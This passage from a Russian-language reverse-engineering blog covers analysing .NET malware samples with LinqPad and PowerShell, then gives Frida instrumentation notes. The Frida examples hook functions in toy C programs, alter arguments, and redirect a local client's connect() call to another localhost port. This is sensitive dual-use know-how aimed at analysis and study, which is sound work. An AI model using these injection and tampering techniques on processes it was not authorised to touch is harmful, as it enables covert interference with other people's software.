писать полноценную программу с Main() и т.д., можно использовать просто куски кода, для этого в выпадающем меню выбираем Expression или Statement. Например, исполнение отдельных строк кода: Способ второй Часто образец малвари в своих методах использует собственные константы, другие методы и т.д. и переносить кучу кода/переменные в Linqpad нерелевантно. Поэтому можно воспользоваться втором способом - powershell. Ничего устанавливать не нужно, powershell по умолчанию есть в Windows 7. Запускаем нужный экземпляр powershell, чтобы его разрядность совпадала с разрядностью образца. Первым делом нам необходимо подгрузить наш вредоносный Assembly командой: $malware = [Reflection.Assembly]::LoadFile("path") Также это можно сделать с помощью cmdlet (более современный способ). В этом случае файл должен иметь расширение .dll: Add-Type -Path foo.dll Убедиться что операция завершена успешна поможет команда просмотра списка всех загруженных Assembly: [appdomain]::currentdomain.GetAssemblies() Чтобы вызвать конкретный, статический метод мы используем следующую конструкцию: [имя_namespace.имя_класса]::имя_функции("аргументы") Например: Если метод НЕ статический, то в начале инстанцируем класс: $instance = New-Object имя_namespace.имя_класса $result = $instance.имя_функции() echo $result Пример вызова нестатического метода: Полезные powershell команды *ассембли (Assembly) - любой .NET EXE или DLL Стандартный размер шрифта powershell очень мал. Увеличить его можно кликнув правой кнопкой на иконку - Свойства. Очистка окна консоли: Clear-Host Если для каких-либо операций нам необходимо подгрузить зависимость: [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") Например, подгрузив зависимость Drawing мы можем использовать класс Bitmap: $bmp = New-Object System.Drawing.Bitmap("D:\\path") Вывод всех типов внутри бинарника: $malware.gettypes() Поиск по выводу какой-либо команды: | Select-String -Pattern "строка_для_поиска" Вывод только публичных классов: $assembly.GetTypes() | ? {$_.IsClass -and $_.IsPublic} Вывод всех текущих загруженных Assembly в отсортированном виде (также эта команда может пригодится или нет при форензике): [appdomain]::currentdomain.getassemblies() | sort -property fullname | format-table fullname Дамп захардкоженных переменных ассембли. Допустим у нас есть малварь, которая содержит некий статический байтовый блоб. Если вы хотите дампнуть его, это можно сделать двумя способами. Динамически - запустить ассембли в дебаггере и дампнуть значение в рантайме. Статически - дампнуть, используя powershell. Чтобы дампнуть используя powershell мы подгружаем ассембли и сохраняем в файл желаемую переменную. $malware = [Reflection.Assembly]::LoadFrom("path") # подгружаем наш вредоносный ассембли [io.file]::WriteAllBytes('path_to_save_var', [namespace.class]::var_name) # сохраняем в файл Пример: Если требуемая переменная НЕстатическая, то просто создайте инстанс соответствующего класса. Если вам лень постоянно вводить команды для дампа, то можно написать скрипт. Чтобы скрипт работал, не забудьте включить исполнение скриптов на системе: set-executionpolicy remotesigned Лайфхаки AgentTesla содержит пейлоды в виде ресурсов. Один из пейлодов является стеганографической картинкой. Если мы хотим пропатчить пейлод, который распаковывается на какой-либо стадии, нам необходимо: Преобразовать ресурс из картинки в файл Пропатчить Преобразовать файл обратно в картинку Заменить ресурс картинку В этом может помочь скрипт stego. Например, мы хотим написать YARA правило на кусок .NET кода. *вспомогательная ссылка *список опкодов LinqPad поддерживает работу с файлами Иногда, .NET малварь может содержать GUID. Это поле идентифицрует конкретный проект на компе разработчика. Соответственно, если у нескольких отдельных образцов один и тот же GUID, то с уверенностью можно говорить, что они были разработаны на одном компе и скорей всего одним и тем же разработчиком. Если нам попался .NET Bundle, то дампнуть файлы бандла можно с помощью AsmResolver и powershell: [Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null $extractionPath = "C:\Extracted\" $manifest = [AsmResolver.DotNet.Bundles.BundleManifest]::FromFile("C:\RiotClientServices.exe") foreach($file in $manifest.Files) { $fileInfo = [IO.FileInfo]::new($extractionPath + $file.RelativePath) $fileInfo.Directory.Create() [IO.File]::WriteAllBytes($fileInfo.FullName, $file.getData($true)) } Более подробная информация Библиотека AsmResolver, с помощью которой можно модифицировать .net бинарники. Например, удалять ненужные методы: [Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null $obfuscated = "C:\RiotClientServices.dll" $moduleDef = [AsmResolver.DotNet.ModuleDefinition]::FromFile($obfuscated) # Removing junk methods foreach($type in $moduleDef.GetAllTypes()) { foreach($method in [array]$type.Methods.Where{$_.HasMethodBody}) { if(($method.MethodBody.Instructions.Where{$_.Opcode.Mnemonic -like "call" -and $_.Operand.FullName -like "*System.Console::WriteLine*"}).count -eq 5) { $type.Methods.Remove($method) | Out-Null } } } Если надо отдебажить библиотеку .NET, то можно воспользоваться SharpDllLoader Образцы можно группировать по TypeRef hash. Вычислить его поможет скрипт в гитлаб. TypeRef hash лучше использовать отсортированный и включая сущности, которые ссылаются сами на себя (sorted, include self-referenced entries). Если функция расшифровки строк малвари вызывается много раз, можно написать следующий скрипт (пример): $malware = [Reflection.Assembly]::LoadFile("C:\my\f.dll") [jKcEiEe]::TFkR(980214767)| Out-File -FilePath c:\my\output.txt [jKcEiEe]::TFkR(980214689) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214350) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214730) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214391) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214713) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214747) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214670) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214364) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214543) | Add-Content C:\my\output.txt Иногда малварь для сокрытия пейлода использует Fody/Costura. Costura предназначена для добавления зависимостей/ресурсов в единный бинарник. Полезные ссылки по таким кейсам: example-analysis-of-multi-component-malware play-ransomware-volume-shadow-copy Получение данных о X509 сертификате кодом в LINQPAD. Также можно проверить валидность файла: void Main() { string fileName = "c:\\my\\OUTLOOK.CFG"; string text2 = "test-908@testgmail-398504.iam.gserviceaccount.com"; X509Certificate2 x509 = new X509Certificate2(fileName, "notasecret", X509KeyStorageFlags.Exportable); Console.WriteLine("{0}Subject: {1}{0}", Environment.NewLine, x509.Subject); Console.WriteLine("{0}Issuer: {1}{0}", Environment.NewLine, x509.Issuer); Console.WriteLine("{0}Version: {1}{0}", Environment.NewLine, x509.Version); Console.WriteLine("{0}Valid Date: {1}{0}", Environment.NewLine, x509.NotBefore); Console.WriteLine("{0}Expiry Date: {1}{0}", Environment.NewLine, x509.NotAfter); Console.WriteLine("{0}Thumbprint: {1}{0}", Environment.NewLine, x509.Thumbprint); Console.WriteLine("{0}Serial Number: {1}{0}", Environment.NewLine, x509.SerialNumber); Console.WriteLine("{0}Friendly Name: {1}{0}", Environment.NewLine, x509.PublicKey.Oid.FriendlyName); Console.WriteLine("{0}Public Key Format: {1}{0}", Environment.NewLine, x509.PublicKey.EncodedKeyValue.Format(true)); Console.WriteLine("{0}Raw Data Length: {1}{0}", Environment.NewLine, x509.RawData.Length); Console.WriteLine("{0}Certificate to string: {1}{0}", Environment.NewLine, x509.ToString(true)); Console.WriteLine("{0}Certificate to XML String: {1}{0}", Environment.NewLine, x509.PublicKey.Key.ToXmlString(false)); } // Define other methods and classes here Быстрая разработка на .NET Иногда необходимо по-быстрому полностью реализовать какой-нибудь алгоритм/написать код. Например, повторить кусок кода из малвари, который работает с файлами, открывает их, сохраняет и т.д.. Скачиваем VSCode Устанавливаем два расширения: C# Dev Kit и C# Скачиваем dotnet sdk Чтобы убедиться, что dotnet установлен и работает корректно в командной строке выполняем команду dotnet Открываем VSCode через Developer Command Prompt командой code Создаем новый проект типа Console командой: dotnet new console Если не хватает какой-либо зависимости: dotnet add package System.Drawing.Common --version 7.0.0 Собрать проект dotnet clear dotnet build Чтобы получить бинарник пригодный для запуска на другом компе (не забудьте указать нужную архитектуру): dotnet publish -r win7-x64 Ссылки по этой теме: https://learn.microsoft.com/en-us/dotnet/core/rid-catalog https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-build https://learn.microsoft.com/en-us/dotnet/core/deploying/ Publishing your app as self-contained produces an application that includes the .NET runtime and libraries, and your application and its dependencies. Users of the application can run it on a machine that doesn’t have the .NET runtime installed. Чтобы бинарник работал на другой компе или в виртуалке, надо скопировать ВСЮ папку bin\x64\Debug\net7.0\win7-x64\publish]]></summary></entry><entry><title type="html">Заметка по Frida</title><link href="https://orderofsixangles.com/ru/2024/06/20/frida-notes-ru.html" rel="alternate" type="text/html" title="Заметка по Frida" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/06/20/frida-notes-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/06/20/frida-notes-ru.html"><![CDATA[<p>Это не полноценная статья! Это мои заметки по изучению фриды. Когда нужно быстро вспомнить какой-то аспект фриды, можно будет к ним быстро вернуться.</p>

<h2 id="frida-general">Frida General</h2>

<p>Frida - это Open Source Dynamic Code Instrumentation Framework. Instrumentation (инструментация) - это модификация программы для сбора данных о ее поведении, производительности или других характеристиках. Frida работает с процессом в рантайме, вмешиваясь в его работу. Возможности Frida:</p>

<ol>
  <li>API tracing</li>
  <li>Логгировать действия уже запущенного приложения, не останавливая его работы</li>
  <li>Расшифровка TLS трафика</li>
  <li>Фаззинг функций изнутри процесса (в отличии от классических фазеров)</li>
  <li>Дамп памяти процесса</li>
  <li>Создание протектора, антидебаггера (!)</li>
  <li>etc…</li>
</ol>

<p>Фриду можно воспринимать как заскриптованный дебаггер. Она также как и дебагер подключается к процессу, но позволяет выполнять некоторые действия быстрее дебагера. Принцип работы Фриды заключается в инжекте в процесс QuickJS. QuickJS - маленький, самодостаточный интерпретатор Javascript. Вы пишите Frida скрипт на JS, а интерпретатор внутри процесса его исполняет. Если нет рута (ios, android), то фриду можно добавить непосредственно в исследуемое приложение следующими способами:</p>

<ol>
  <li>Модификация исходников</li>
  <li>Патчинг бинарника</li>
  <li>Динамическая подгрузка (LD_PRELOAD)</li>
</ol>

<h2 id="frida-mini-examples">Frida mini examples</h2>

<p>Папка <code class="language-plaintext highlighter-rouge">frida_mini_examples</code> содержит примеры возможностей фриды.</p>

<p><code class="language-plaintext highlighter-rouge">hello.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">f</span> <span class="p">(</span><span class="kt">int</span> <span class="n">n</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"Number: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">n</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"f() is at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">f</span> <span class="p">(</span><span class="n">i</span><span class="o">++</span><span class="p">);</span>
    <span class="n">sleep</span> <span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hook.py 0xaddr</code> - перехватывает функцию <code class="language-plaintext highlighter-rouge">f()</code> и выводит аргумент</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="err">#</span> <span class="nx">intercept</span> <span class="nx">func</span> <span class="nx">at</span> <span class="nx">addr</span> <span class="k">from</span> <span class="nx">arg</span>
<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
Interceptor.attach(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), {
    onEnter(args) {
        send(args[0].toInt32()); // print func args
    }
});
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">def</span> <span class="nx">on_message</span><span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">data</span><span class="p">):</span>
    <span class="nx">print</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="nx">on_message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
<span class="nx">sys</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">read</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">modify.py 0xaddr</code> - модифицирует первый аргумент, меняет его на 1337</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
Interceptor.attach(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), {
    onEnter(args) {
        args[0] = ptr(</span><span class="dl">"</span><span class="mi">1337</span><span class="dl">"</span><span class="s2">);
    }
});
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
<span class="nx">sys</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">read</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">call_funcs.py 0xaddr</code> - вызов внутренней функции f()</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
const f = new NativeFunction(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), 'void', ['int']);
f(1911);
f(1911);
f(1911);
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inject_string</code> - создает строку “TESTMEPLZ!” в адресном пространстве процесса hi и вызывает функцию f() с этой строкой в качестве аргумента</p>

<p><code class="language-plaintext highlighter-rouge">hi.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">f</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">s</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"String: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">s</span> <span class="o">=</span> <span class="s">"Testing!"</span><span class="p">;</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"f() is at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"s is at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">f</span> <span class="p">(</span><span class="n">s</span><span class="p">);</span>
    <span class="n">sleep</span> <span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hi</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
const st = Memory.allocUtf8String(</span><span class="dl">"</span><span class="nx">TESTMEPLZ</span><span class="o">!</span><span class="dl">"</span><span class="s2">);
const f = new NativeFunction(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), 'int', ['pointer']);
f(st);
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">def</span> <span class="nx">on_message</span><span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">data</span><span class="p">):</span>
    <span class="nx">print</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="nx">on_message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inject_struct</code> - client коннектится к 127.0.0.1 по порту 5000, после нажатия Enter. Скрипт подменяет структуру sockaddr на собственную</p>

<p><code class="language-plaintext highlighter-rouge">nc -lp 5000</code>
<code class="language-plaintext highlighter-rouge">nc -lp 5001</code>
<code class="language-plaintext highlighter-rouge">./client 127.0.0.1</code></p>

<p><code class="language-plaintext highlighter-rouge">client.c</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;arpa/inet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;netdb.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;netinet/in.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">sock_fd</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">serv_addr</span><span class="p">;</span>
  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">b</span><span class="p">;</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">message</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">recv_buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">fprintf</span> <span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Usage: %s &lt;ip of server&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"connect() is at: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">connect</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">((</span><span class="n">sock_fd</span> <span class="o">=</span> <span class="n">socket</span> <span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to create socket"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">bzero</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">serv_addr</span><span class="p">));</span>

  <span class="n">serv_addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
  <span class="n">serv_addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="n">htons</span> <span class="p">(</span><span class="mi">5000</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">inet_pton</span> <span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">fprintf</span> <span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Unable to parse IP address</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Here's the serv_addr buffer:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">!=</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">serv_addr</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="n">printf</span> <span class="p">(</span><span class="s">"%s%02x"</span><span class="p">,</span> <span class="p">(</span><span class="n">i</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">?</span> <span class="s">" "</span> <span class="o">:</span> <span class="s">""</span><span class="p">,</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Press ENTER key to Continue</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">getchar</span> <span class="p">()</span> <span class="o">==</span> <span class="n">EOF</span> <span class="o">&amp;&amp;</span> <span class="n">ferror</span> <span class="p">(</span><span class="n">stdin</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">errno</span> <span class="o">==</span> <span class="n">EINTR</span><span class="p">)</span>
    <span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">connect</span> <span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">serv_addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to connect"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">message</span> <span class="o">=</span> <span class="s">"Hello there!"</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">send</span> <span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">strlen</span> <span class="p">(</span><span class="n">message</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to send"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">n</span> <span class="o">=</span> <span class="n">recv</span> <span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="n">recv_buf</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">recv_buf</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">errno</span> <span class="o">==</span> <span class="n">EINTR</span><span class="p">)</span>
      <span class="k">continue</span><span class="p">;</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="n">recv_buf</span><span class="p">[</span><span class="n">n</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">fputs</span> <span class="p">(</span><span class="n">recv_buf</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to read"</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inject_struct.py</code></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">client</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
send('Allocating memory and writing bytes...');
const st = Memory.alloc(16);
st.writeByteArray([0x02, 0x00, 0x13, 0x89, 0x7F, 0x00, 0x00, 0x01, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30]);
// 0x1389 = 5001d
Interceptor.attach(Module.getExportByName(null, 'connect'), {
    onEnter(args) {
        send('Injecting malicious byte array:');
        args[1] = st;
    }
    //, onLeave(retval) {
    //   retval.replace(0); // Use this to manipulate the return value
    //}
});
</span><span class="dl">"""</span><span class="p">)</span>

